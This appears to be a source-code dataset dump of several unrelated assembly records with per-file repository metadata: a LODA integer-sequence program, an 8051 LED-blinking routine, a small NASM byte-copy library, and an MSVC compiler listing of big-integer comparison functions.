; 29,277,401,463,587,773,1021,1579,1889,1951,2137,2447,2633,2819,3067,3191,3253,4493,4679,5051,5113,5237,5857,5981,6043,6229,6353,6911,7159,7283,7717,7841,8089,8461,8647,9391,9887,9949,10259,10321,10631,11003,11251,11437,11933,12119,12491,12553,12739,13049,13297,13421,13669,14537,14723,15467,15901,16087,16273,16831,17203,17327,17389,17761,18133,18257,18443,18691,19001,19249,19373,19559,19993,20117,20551,21419,21481,21977,22039,22349,22721,22783,22907,23279,23899,24023,24767,24953,25759,26317
mov $2,$0
add $2,6
pow $2,2
lpb $2
mov $3,$4
add $3,28
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
mov $1,$0
max $1,0
cmp $1,$0
mul $2,$1
add $3,1
sub $2,$3
add $4,62
lpe
mov $0,$4
add $0,29
| 35.608696 | 496 | 0.726496 |
777153fb0ceec9c6e66b56dd883c53a2f5677191 | 617 | a51 | Assembly | Tarefa 4/main44.a51 | raphaelmoletta/CSW40 | 69912ae95f283a6a6e3de0d501195ef5118d5cce | [
"MIT"
] | null | null | null | Tarefa 4/main44.a51 | raphaelmoletta/CSW40 | 69912ae95f283a6a6e3de0d501195ef5118d5cce | [
"MIT"
] | null | null | null | Tarefa 4/main44.a51 | raphaelmoletta/CSW40 | 69912ae95f283a6a6e3de0d501195ef5118d5cce | [
"MIT"
] | null | null | null | ; -----------------------------------------------------------------
; Programa para deslocamento dos leds
; ------------------------------------------------------------------
org 0000h
ACENDE:
CLR P3.6
acall delay
CLR P3.7
acall delay
CLR P1.4
acall delay
CPL P1.4
acall delay
CPL P3.7
acall delay
CPL P3.6
acall delay
JMP ACENDE
;-----Rotina de delay---------
delay: mov r0,#8d
loop1: mov r1,#250d
loop: mov R2,#250d
djnz r2,$ ; jump para a mesma linha
djnz r1,loop
djnz r0,loop1
ret
;-----------------------------
end
| 16.675676 | 68 | 0.411669 |
0da6e1ba607c9918ed69215caf38327fd7af46c3 | 1,535 | asm | Assembly | GDRS.asm | Gabidal/GDR | 0786631f8789864431354637e298914ece0b7512 | [
"MIT"
] | null | null | null | GDRS.asm | Gabidal/GDR | 0786631f8789864431354637e298914ece0b7512 | [
"MIT"
] | null | null | null | GDRS.asm | Gabidal/GDR | 0786631f8789864431354637e298914ece0b7512 | [
"MIT"
] | null | null | null | section .text
[section .data]
layer4 dd 0, 3h
layer5 dd 0, 3h
layer6 dd 0, 3h
[section .code]
copy:
call Finish
pop eax
pop ecx
pop esi
pop edi
repz movsb
push eax
ret
put:
call Finish
pop eax
mov [layer4], eax
pop ecx
pop ebx ;offset
pop esi ;the array addition
pop edi ;to add here
add edi, ebx ;give the main array index to add the offset
repz movsb
mov eax, dword [layer4]
push eax
ret
toChar:
call Finish
pop ebx
pop edi
pop esi ;source of the string
FORCHAR:
mov al, byte [esi]
add al, 48
mov [esi], al
add esi, 1b
cmp ecx, edi
inc ecx
jbe FORCHAR
push ebx
ret
;LAYER 5 FUNCTIONS
getByte:
call Finish
pop eax
mov [layer5], eax
pop ebx
pop esi
pop edi
xchg ecx, ecx
getbit:
mov al, byte [esi]
mov [edi], al
add esi, 1b
add edi, 1b
add ecx, 1
cmp al, ";"
je ENDOFSTRING
cmp al, bl
jne getbit
ENDOFSTRING:
push esi
mov eax, dword [layer5]
push eax
ret
DBgetByte:
pop eax
mov [layer6], eax
pop ebx
pop esi
pop edi
xchg ecx, ecx
DBgetbit:
mov al, byte [esi]
mov [edi], al
add esi, 1b
add edi, 1b
add ecx, 1
cmp al, ";"
je DBENDOFSTRING
cmp al, bl
jne DBgetbit
DBENDOFSTRING:
push esi
mov eax, dword [layer6]
push eax
ret | 15.505051 | 61 | 0.530293 |
a6515d6d769a1f37e1ebcaae09d6cc297281a2b1 | 34,224 | asm | Assembly | Palmtree.Math.Core.Implements/vs_build/x64_Release/pmc_compare.asm | rougemeilland/Palmtree.Math.Core.Implements | 52f4f6c765d16c9b0baf1fd212c61a33daae138c | [
"MIT"
] | null | null | null | Palmtree.Math.Core.Implements/vs_build/x64_Release/pmc_compare.asm | rougemeilland/Palmtree.Math.Core.Implements | 52f4f6c765d16c9b0baf1fd212c61a33daae138c | [
"MIT"
] | null | null | null | Palmtree.Math.Core.Implements/vs_build/x64_Release/pmc_compare.asm | rougemeilland/Palmtree.Math.Core.Implements | 52f4f6c765d16c9b0baf1fd212c61a33daae138c | [
"MIT"
] | null | null | null | ; Listing generated by Microsoft (R) Optimizing Compiler Version 19.16.27026.1
include listing.inc
INCLUDELIB MSVCRT
INCLUDELIB OLDNAMES
PUBLIC Compare_Imp
PUBLIC Initialize_Compare
PUBLIC PMC_Compare_I_X
PUBLIC PMC_Compare_L_X
PUBLIC PMC_Compare_X_I
PUBLIC PMC_Compare_X_L
PUBLIC PMC_Compare_X_X
EXTRN CheckNumber:PROC
; COMDAT pdata
pdata SEGMENT
$pdata$PMC_Compare_I_X DD imagerel $LN29
DD imagerel $LN29+232
DD imagerel $unwind$PMC_Compare_I_X
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$PMC_Compare_L_X DD imagerel $LN61
DD imagerel $LN61+236
DD imagerel $unwind$PMC_Compare_L_X
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$PMC_Compare_X_I DD imagerel $LN29
DD imagerel $LN29+149
DD imagerel $unwind$PMC_Compare_X_I
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$PMC_Compare_X_L DD imagerel $LN61
DD imagerel $LN61+153
DD imagerel $unwind$PMC_Compare_X_L
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$PMC_Compare_X_X DD imagerel $LN31
DD imagerel $LN31+245
DD imagerel $unwind$PMC_Compare_X_X
pdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$PMC_Compare_X_X DD 060f01H
DD 07640fH
DD 06340fH
DD 0700b320fH
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$PMC_Compare_X_L DD 060f01H
DD 07640fH
DD 06340fH
DD 0700b320fH
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$PMC_Compare_X_I DD 060f01H
DD 07640fH
DD 06340fH
DD 0700b320fH
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$PMC_Compare_L_X DD 060f01H
DD 07640fH
DD 06340fH
DD 0700b320fH
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$PMC_Compare_I_X DD 060f01H
DD 07640fH
DD 06340fH
DD 0700b320fH
xdata ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_compare.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_compare.c
; COMDAT PMC_Compare_X_L_Imp
_TEXT SEGMENT
u$ = 8
v$ = 16
w$ = 24
PMC_Compare_X_L_Imp PROC ; COMDAT
; 152 : if (u->IS_ZERO)
test BYTE PTR [rcx+40], 2
mov r9, rcx
je SHORT $LN2@PMC_Compar
; 153 : {
; 154 : // u が 0 である場合
; 155 : if (v == 0)
; 156 : {
; 157 : // v が 0 である場合
; 158 : *w = 0;
; 159 : }
; 160 : else
; 161 : {
; 162 : // v が 0 でない場合
; 163 : *w = -1;
; 164 : }
; 165 : }
neg rdx
$LN36@PMC_Compar:
; 258 : *w = 1;
; 259 : else if (u->BLOCK[0] < v)
; 260 : *w = -1;
; 261 : else
; 262 : *w = 0;
; 263 : }
; 264 : }
; 265 : }
; 266 : }
sbb eax, eax
mov DWORD PTR [r8], eax
ret 0
$LN2@PMC_Compar:
; 166 : else if (v == 0)
test rdx, rdx
je SHORT $LN52@PMC_Compar
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 644 : _BitScanReverse64(&pos, x);
bsr rax, rdx
; 645 : #elif defined(__GNUC__)
; 646 : _UINT64_T pos;
; 647 : __asm__("bsrq %1, %0" : "=r"(pos) : "rm"(x));
; 648 : #else
; 649 : #error unknown compiler
; 650 : #endif
; 651 : #else
; 652 : #error unknown platform
; 653 : #endif
; 654 : return (sizeof(x) * 8 - 1 - pos);
mov ecx, 63 ; 0000003fH
sub ecx, eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_compare.c
; 242 : __UNIT_TYPE v_bit_count = sizeof(v) * 8 - _LZCNT_ALT_UNIT((__UNIT_TYPE)v);
movsxd rax, ecx
mov ecx, 64 ; 00000040H
sub rcx, rax
; 243 : if (u_bit_count > v_bit_count)
cmp QWORD PTR [r9+16], rcx
ja SHORT $LN52@PMC_Compar
; 244 : {
; 245 : // 明らかに u > v である場合
; 246 : *w = 1;
; 247 : }
; 248 : else if (u_bit_count < v_bit_count)
jae SHORT $LN34@PMC_Compar
; 258 : *w = 1;
; 259 : else if (u->BLOCK[0] < v)
; 260 : *w = -1;
; 261 : else
; 262 : *w = 0;
; 263 : }
; 264 : }
; 265 : }
; 266 : }
mov DWORD PTR [r8], -1
ret 0
$LN34@PMC_Compar:
; 249 : {
; 250 : // 明らかに u < v である場合
; 251 : *w = -1;
; 252 : }
; 253 : else
; 254 : {
; 255 : // u > 0 && v > 0 かつ u のビット長と v のビット長が等しく、かつ v が 1 ワードで表現できる場合
; 256 : // ⇒ u と v はともに 1 ワードで表現できる
; 257 : if (u->BLOCK[0] > v)
mov rax, QWORD PTR [r9+56]
cmp QWORD PTR [rax], rdx
jbe SHORT $LN36@PMC_Compar
$LN52@PMC_Compar:
; 258 : *w = 1;
; 259 : else if (u->BLOCK[0] < v)
; 260 : *w = -1;
; 261 : else
; 262 : *w = 0;
; 263 : }
; 264 : }
; 265 : }
; 266 : }
mov DWORD PTR [r8], 1
ret 0
PMC_Compare_X_L_Imp ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_compare.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_compare.c
; COMDAT PMC_Compare_X_I_Imp
_TEXT SEGMENT
u$ = 8
v$ = 16
w$ = 24
PMC_Compare_X_I_Imp PROC ; COMDAT
; 62 : if (u->IS_ZERO)
test BYTE PTR [rcx+40], 2
mov r9, rcx
je SHORT $LN2@PMC_Compar
; 63 : {
; 64 : // u が 0 である場合
; 65 : if (v == 0)
; 66 : {
; 67 : // v が 0 である場合
; 68 : *w = 0;
; 69 : }
; 70 : else
; 71 : {
; 72 : // v が 0 でない場合
; 73 : *w = -1;
; 74 : }
; 75 : }
neg edx
$LN12@PMC_Compar:
; 101 : *w = 1;
; 102 : else if (u->BLOCK[0] < v)
; 103 : *w = -1;
; 104 : else
; 105 : *w = 0;
; 106 : }
; 107 : }
; 108 : }
sbb eax, eax
mov DWORD PTR [r8], eax
ret 0
$LN2@PMC_Compar:
; 76 : else if (v == 0)
test edx, edx
je SHORT $LN20@PMC_Compar
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 601 : _BitScanReverse(&pos, x);
bsr eax, edx
; 602 : #elif defined(__GNUC__)
; 603 : __asm__("bsrl %1, %0" : "=r"(pos) : "rm"(x));
; 604 : #else
; 605 : #error unknown compiler
; 606 : #endif
; 607 : return (sizeof(x) * 8 - 1 - pos);
mov ecx, 31
sub ecx, eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_compare.c
; 85 : __UNIT_TYPE v_bit_count = sizeof(v) * 8 - _LZCNT_ALT_32(v);
movsxd rax, ecx
mov ecx, 32 ; 00000020H
sub rcx, rax
; 86 : if (u_bit_count > v_bit_count)
cmp QWORD PTR [r9+16], rcx
ja SHORT $LN20@PMC_Compar
; 87 : {
; 88 : // 明らかに u > v である場合
; 89 : *w = 1;
; 90 : }
; 91 : else if (u_bit_count < v_bit_count)
jae SHORT $LN10@PMC_Compar
; 101 : *w = 1;
; 102 : else if (u->BLOCK[0] < v)
; 103 : *w = -1;
; 104 : else
; 105 : *w = 0;
; 106 : }
; 107 : }
; 108 : }
mov DWORD PTR [r8], -1
ret 0
$LN10@PMC_Compar:
; 92 : {
; 93 : // 明らかに u < v である場合
; 94 : *w = -1;
; 95 : }
; 96 : else
; 97 : {
; 98 : // u > 0 && v > 0 かつ u のビット長と v のビット長が等しい場合
; 99 : // ⇒ u と v はともに 1 ワードで表現できる
; 100 : if (u->BLOCK[0] > v)
mov rax, QWORD PTR [r9+56]
mov ecx, edx
cmp QWORD PTR [rax], rcx
jbe SHORT $LN12@PMC_Compar
$LN20@PMC_Compar:
; 101 : *w = 1;
; 102 : else if (u->BLOCK[0] < v)
; 103 : *w = -1;
; 104 : else
; 105 : *w = 0;
; 106 : }
; 107 : }
; 108 : }
mov DWORD PTR [r8], 1
ret 0
PMC_Compare_X_I_Imp ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; COMDAT _LZCNT_ALT_UNIT
_TEXT SEGMENT
x$ = 8
_LZCNT_ALT_UNIT PROC ; COMDAT
; 630 : if (x == 0)
test rcx, rcx
jne SHORT $LN2@LZCNT_ALT_
; 631 : return (sizeof(x) * 8);
mov eax, 64 ; 00000040H
; 655 : }
ret 0
$LN2@LZCNT_ALT_:
; 632 : #ifdef _M_IX86
; 633 : _UINT32_T pos;
; 634 : #ifdef _MSC_VER
; 635 : _BitScanReverse(&pos, x);
; 636 : #elif defined(__GNUC__)
; 637 : __asm__("bsrl %1, %0" : "=r"(pos) : "rm"(x));
; 638 : #else
; 639 : #error unknown compiler
; 640 : #endif
; 641 : #elif defined(_M_X64)
; 642 : #ifdef _MSC_VER
; 643 : _UINT32_T pos;
; 644 : _BitScanReverse64(&pos, x);
bsr rcx, rcx
; 645 : #elif defined(__GNUC__)
; 646 : _UINT64_T pos;
; 647 : __asm__("bsrq %1, %0" : "=r"(pos) : "rm"(x));
; 648 : #else
; 649 : #error unknown compiler
; 650 : #endif
; 651 : #else
; 652 : #error unknown platform
; 653 : #endif
; 654 : return (sizeof(x) * 8 - 1 - pos);
mov eax, 63 ; 0000003fH
sub eax, ecx
; 655 : }
ret 0
_LZCNT_ALT_UNIT ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; COMDAT _LZCNT_ALT_32
_TEXT SEGMENT
x$ = 8
_LZCNT_ALT_32 PROC ; COMDAT
; 597 : if (x == 0)
test ecx, ecx
jne SHORT $LN2@LZCNT_ALT_
; 598 : return (sizeof(x) * 8);
mov eax, 32 ; 00000020H
; 608 : }
ret 0
$LN2@LZCNT_ALT_:
; 599 : _UINT32_T pos;
; 600 : #ifdef _MSC_VER
; 601 : _BitScanReverse(&pos, x);
bsr ecx, ecx
; 602 : #elif defined(__GNUC__)
; 603 : __asm__("bsrl %1, %0" : "=r"(pos) : "rm"(x));
; 604 : #else
; 605 : #error unknown compiler
; 606 : #endif
; 607 : return (sizeof(x) * 8 - 1 - pos);
mov eax, 31
sub eax, ecx
; 608 : }
ret 0
_LZCNT_ALT_32 ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; COMDAT _FROMDWORDTOWORD
_TEXT SEGMENT
value$ = 8
result_high$ = 16
_FROMDWORDTOWORD PROC ; COMDAT
; 183 : *result_high = (_UINT32_T)(value >> 32);
mov rax, rcx
shr rax, 32 ; 00000020H
mov DWORD PTR [rdx], eax
; 184 : return ((_UINT32_T)value);
mov eax, ecx
; 185 : }
ret 0
_FROMDWORDTOWORD ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_compare.c
; COMDAT PMC_Compare_X_X
_TEXT SEGMENT
u$ = 48
v$ = 56
w$ = 64
PMC_Compare_X_X PROC ; COMDAT
; 309 : {
$LN31:
mov QWORD PTR [rsp+8], rbx
mov QWORD PTR [rsp+16], rsi
push rdi
sub rsp, 32 ; 00000020H
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
; 310 : if (u == NULL)
test rcx, rcx
je $LN29@PMC_Compar
; 311 : return (PMC_STATUS_ARGUMENT_ERROR);
; 312 : if (v == NULL)
test rdx, rdx
je $LN29@PMC_Compar
; 313 : return (PMC_STATUS_ARGUMENT_ERROR);
; 314 : if (w == NULL)
test r8, r8
je $LN29@PMC_Compar
; 316 : NUMBER_HEADER* nu = (NUMBER_HEADER*)u;
; 317 : NUMBER_HEADER* nv = (NUMBER_HEADER*)v;
; 318 : PMC_STATUS_CODE result;
; 319 : if ((result = CheckNumber(nu)) != PMC_STATUS_OK)
call CheckNumber
test eax, eax
jne $LN1@PMC_Compar
; 320 : return (result);
; 321 : if ((result = CheckNumber(nv)) != PMC_STATUS_OK)
mov rcx, rdi
call CheckNumber
test eax, eax
jne $LN1@PMC_Compar
; 322 : return (result);
; 323 : if (nu->IS_ZERO)
mov eax, DWORD PTR [rdi+40]
and eax, 2
test BYTE PTR [rbx+40], 2
je SHORT $LN7@PMC_Compar
; 324 : {
; 325 : *w = nv->IS_ZERO ? 0 : -1;
neg eax
sbb eax, eax
neg eax
dec eax
; 349 : }
; 350 : }
; 351 : return (PMC_STATUS_OK);
mov DWORD PTR [rsi], eax
xor eax, eax
; 352 : }
mov rbx, QWORD PTR [rsp+48]
mov rsi, QWORD PTR [rsp+56]
add rsp, 32 ; 00000020H
pop rdi
ret 0
$LN7@PMC_Compar:
; 326 : }
; 327 : else if (nv->IS_ZERO)
test eax, eax
jne SHORT $LN25@PMC_Compar
; 328 : {
; 329 : *w = 1;
; 330 : }
; 331 : else
; 332 : {
; 333 : __UNIT_TYPE u_bit_count = nu->UNIT_BIT_COUNT;
mov rax, QWORD PTR [rbx+16]
; 334 : __UNIT_TYPE v_bit_count = nv->UNIT_BIT_COUNT;
; 335 : if (u_bit_count > v_bit_count)
cmp rax, QWORD PTR [rdi+16]
ja SHORT $LN25@PMC_Compar
; 336 : {
; 337 : // 明らかに u > v である場合
; 338 : *w = 1;
; 339 : }
; 340 : else if (u_bit_count < v_bit_count)
jb SHORT $LN26@PMC_Compar
; 341 : {
; 342 : // 明らかに u < v である場合
; 343 : *w = -1;
; 344 : }
; 345 : else
; 346 : {
; 347 : // u > 0 && v > 0 かつ u のビット長と v のビット長が等しい場合
; 348 : *w = Compare_Imp(nu->BLOCK, nv->BLOCK, nu->UNIT_WORD_COUNT);
mov rcx, QWORD PTR [rbx+8]
; 40 : u += count;
mov rax, QWORD PTR [rbx+56]
lea r8, QWORD PTR [rax+rcx*8]
; 41 : v += count;
mov rax, QWORD PTR [rdi+56]
lea r9, QWORD PTR [rax+rcx*8]
; 42 : while (count > 0)
test rcx, rcx
je SHORT $LN18@PMC_Compar
$LL17@PMC_Compar:
; 43 : {
; 44 : --u;
; 45 : --v;
; 46 : --count;
; 47 :
; 48 : if (*u > *v)
mov rax, QWORD PTR [r8-8]
lea r8, QWORD PTR [r8-8]
lea r9, QWORD PTR [r9-8]
dec rcx
cmp rax, QWORD PTR [r9]
ja SHORT $LN25@PMC_Compar
; 49 : return (1);
; 50 : else if (*u < *v)
jb SHORT $LN26@PMC_Compar
; 42 : while (count > 0)
test rcx, rcx
jne SHORT $LL17@PMC_Compar
$LN18@PMC_Compar:
; 51 : return (-1);
; 52 : else
; 53 : {
; 54 : }
; 55 : }
; 56 : return (0);
xor eax, eax
$LN16@PMC_Compar:
; 349 : }
; 350 : }
; 351 : return (PMC_STATUS_OK);
mov DWORD PTR [rsi], eax
xor eax, eax
; 352 : }
mov rbx, QWORD PTR [rsp+48]
mov rsi, QWORD PTR [rsp+56]
add rsp, 32 ; 00000020H
pop rdi
ret 0
$LN26@PMC_Compar:
; 349 : }
; 350 : }
; 351 : return (PMC_STATUS_OK);
mov eax, -1
jmp SHORT $LN16@PMC_Compar
$LN25@PMC_Compar:
mov eax, 1
jmp SHORT $LN16@PMC_Compar
$LN29@PMC_Compar:
; 315 : return (PMC_STATUS_ARGUMENT_ERROR);
mov eax, -1
$LN1@PMC_Compar:
; 352 : }
mov rbx, QWORD PTR [rsp+48]
mov rsi, QWORD PTR [rsp+56]
add rsp, 32 ; 00000020H
pop rdi
ret 0
PMC_Compare_X_X ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_compare.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_compare.c
; COMDAT PMC_Compare_X_L
_TEXT SEGMENT
u$ = 48
v$ = 56
w$ = 64
PMC_Compare_X_L PROC ; COMDAT
; 289 : {
$LN61:
mov QWORD PTR [rsp+8], rbx
mov QWORD PTR [rsp+16], rsi
push rdi
sub rsp, 32 ; 00000020H
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
; 290 : if (__UNIT_TYPE_BIT_COUNT * 2 < sizeof(v) * 8)
; 291 : {
; 292 : // _UINT64_T が 2 ワードで表現しきれない処理系には対応しない
; 293 : return (PMC_STATUS_INTERNAL_ERROR);
; 294 : }
; 295 : if (u == NULL)
test rcx, rcx
je SHORT $LN58@PMC_Compar
; 296 : return (PMC_STATUS_ARGUMENT_ERROR);
; 297 : if (w == NULL)
test r8, r8
je SHORT $LN58@PMC_Compar
; 299 : PMC_STATUS_CODE result;
; 300 : if ((result = CheckNumber((NUMBER_HEADER*)u)) != PMC_STATUS_OK)
call CheckNumber
test eax, eax
jne SHORT $LN1@PMC_Compar
; 152 : if (u->IS_ZERO)
test BYTE PTR [rdi+40], 2
je SHORT $LN8@PMC_Compar
; 153 : {
; 154 : // u が 0 である場合
; 155 : if (v == 0)
neg rbx
$LN42@PMC_Compar:
; 301 : return (result);
; 302 : _INT32_T w_temp;
; 303 : PMC_Compare_X_L_Imp((NUMBER_HEADER*)u, v, &w_temp);
; 304 : *w = w_temp;
sbb eax, eax
$LN44@PMC_Compar:
mov DWORD PTR [rsi], eax
; 305 : return (PMC_STATUS_OK);
xor eax, eax
; 306 : }
mov rbx, QWORD PTR [rsp+48]
mov rsi, QWORD PTR [rsp+56]
add rsp, 32 ; 00000020H
pop rdi
ret 0
$LN8@PMC_Compar:
; 166 : else if (v == 0)
test rbx, rbx
je SHORT $LN59@PMC_Compar
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 644 : _BitScanReverse64(&pos, x);
bsr rax, rbx
; 645 : #elif defined(__GNUC__)
; 646 : _UINT64_T pos;
; 647 : __asm__("bsrq %1, %0" : "=r"(pos) : "rm"(x));
; 648 : #else
; 649 : #error unknown compiler
; 650 : #endif
; 651 : #else
; 652 : #error unknown platform
; 653 : #endif
; 654 : return (sizeof(x) * 8 - 1 - pos);
mov ecx, 63 ; 0000003fH
sub ecx, eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_compare.c
; 242 : __UNIT_TYPE v_bit_count = sizeof(v) * 8 - _LZCNT_ALT_UNIT((__UNIT_TYPE)v);
movsxd rax, ecx
mov ecx, 64 ; 00000040H
sub rcx, rax
; 243 : if (u_bit_count > v_bit_count)
cmp QWORD PTR [rdi+16], rcx
ja SHORT $LN59@PMC_Compar
; 244 : {
; 245 : // 明らかに u > v である場合
; 246 : *w = 1;
; 247 : }
; 248 : else if (u_bit_count < v_bit_count)
jae SHORT $LN40@PMC_Compar
; 249 : {
; 250 : // 明らかに u < v である場合
; 251 : *w = -1;
mov eax, -1
; 252 : }
jmp SHORT $LN44@PMC_Compar
$LN40@PMC_Compar:
; 253 : else
; 254 : {
; 255 : // u > 0 && v > 0 かつ u のビット長と v のビット長が等しく、かつ v が 1 ワードで表現できる場合
; 256 : // ⇒ u と v はともに 1 ワードで表現できる
; 257 : if (u->BLOCK[0] > v)
mov rax, QWORD PTR [rdi+56]
cmp QWORD PTR [rax], rbx
jbe SHORT $LN42@PMC_Compar
$LN59@PMC_Compar:
; 301 : return (result);
; 302 : _INT32_T w_temp;
; 303 : PMC_Compare_X_L_Imp((NUMBER_HEADER*)u, v, &w_temp);
; 304 : *w = w_temp;
mov eax, 1
jmp SHORT $LN44@PMC_Compar
$LN58@PMC_Compar:
; 298 : return (PMC_STATUS_ARGUMENT_ERROR);
mov eax, -1
$LN1@PMC_Compar:
; 306 : }
mov rbx, QWORD PTR [rsp+48]
mov rsi, QWORD PTR [rsp+56]
add rsp, 32 ; 00000020H
pop rdi
ret 0
PMC_Compare_X_L ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_compare.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_compare.c
; COMDAT PMC_Compare_X_I
_TEXT SEGMENT
u$ = 48
v$ = 56
w$ = 64
PMC_Compare_X_I PROC ; COMDAT
; 131 : {
$LN29:
mov QWORD PTR [rsp+8], rbx
mov QWORD PTR [rsp+16], rsi
push rdi
sub rsp, 32 ; 00000020H
mov ebx, edx
mov rsi, r8
mov rdi, rcx
; 132 : if (__UNIT_TYPE_BIT_COUNT < sizeof(v) * 8)
; 133 : {
; 134 : // _UINT32_T が 1 ワードで表現しきれない処理系には対応しない
; 135 : return (PMC_STATUS_INTERNAL_ERROR);
; 136 : }
; 137 : if (u == NULL)
test rcx, rcx
je SHORT $LN26@PMC_Compar
; 138 : return (PMC_STATUS_ARGUMENT_ERROR);
; 139 : if (w == NULL)
test r8, r8
je SHORT $LN26@PMC_Compar
; 141 : PMC_STATUS_CODE result;
; 142 : if ((result = CheckNumber((NUMBER_HEADER*)u)) != PMC_STATUS_OK)
call CheckNumber
test eax, eax
jne SHORT $LN1@PMC_Compar
; 62 : if (u->IS_ZERO)
test BYTE PTR [rdi+40], 2
je SHORT $LN8@PMC_Compar
; 63 : {
; 64 : // u が 0 である場合
; 65 : if (v == 0)
; 66 : {
; 67 : // v が 0 である場合
; 68 : *w = 0;
; 69 : }
; 70 : else
; 71 : {
; 72 : // v が 0 でない場合
; 73 : *w = -1;
; 74 : }
; 75 : }
neg ebx
$LN18@PMC_Compar:
; 143 : return (result);
; 144 : _INT32_T w_temp;
; 145 : PMC_Compare_X_I_Imp((NUMBER_HEADER*)u, v, &w_temp);
; 146 : *w = w_temp;
sbb eax, eax
$LN20@PMC_Compar:
mov DWORD PTR [rsi], eax
; 147 : return (PMC_STATUS_OK);
xor eax, eax
; 148 : }
mov rbx, QWORD PTR [rsp+48]
mov rsi, QWORD PTR [rsp+56]
add rsp, 32 ; 00000020H
pop rdi
ret 0
$LN8@PMC_Compar:
; 76 : else if (v == 0)
test ebx, ebx
je SHORT $LN27@PMC_Compar
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 601 : _BitScanReverse(&pos, x);
bsr eax, ebx
; 602 : #elif defined(__GNUC__)
; 603 : __asm__("bsrl %1, %0" : "=r"(pos) : "rm"(x));
; 604 : #else
; 605 : #error unknown compiler
; 606 : #endif
; 607 : return (sizeof(x) * 8 - 1 - pos);
mov ecx, 31
sub ecx, eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_compare.c
; 85 : __UNIT_TYPE v_bit_count = sizeof(v) * 8 - _LZCNT_ALT_32(v);
movsxd rax, ecx
mov ecx, 32 ; 00000020H
sub rcx, rax
; 86 : if (u_bit_count > v_bit_count)
cmp QWORD PTR [rdi+16], rcx
ja SHORT $LN27@PMC_Compar
; 87 : {
; 88 : // 明らかに u > v である場合
; 89 : *w = 1;
; 90 : }
; 91 : else if (u_bit_count < v_bit_count)
jae SHORT $LN16@PMC_Compar
; 92 : {
; 93 : // 明らかに u < v である場合
; 94 : *w = -1;
mov eax, -1
; 95 : }
jmp SHORT $LN20@PMC_Compar
$LN16@PMC_Compar:
; 96 : else
; 97 : {
; 98 : // u > 0 && v > 0 かつ u のビット長と v のビット長が等しい場合
; 99 : // ⇒ u と v はともに 1 ワードで表現できる
; 100 : if (u->BLOCK[0] > v)
mov rax, QWORD PTR [rdi+56]
cmp QWORD PTR [rax], rbx
jbe SHORT $LN18@PMC_Compar
$LN27@PMC_Compar:
; 143 : return (result);
; 144 : _INT32_T w_temp;
; 145 : PMC_Compare_X_I_Imp((NUMBER_HEADER*)u, v, &w_temp);
; 146 : *w = w_temp;
mov eax, 1
jmp SHORT $LN20@PMC_Compar
$LN26@PMC_Compar:
; 140 : return (PMC_STATUS_ARGUMENT_ERROR);
mov eax, -1
$LN1@PMC_Compar:
; 148 : }
mov rbx, QWORD PTR [rsp+48]
mov rsi, QWORD PTR [rsp+56]
add rsp, 32 ; 00000020H
pop rdi
ret 0
PMC_Compare_X_I ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
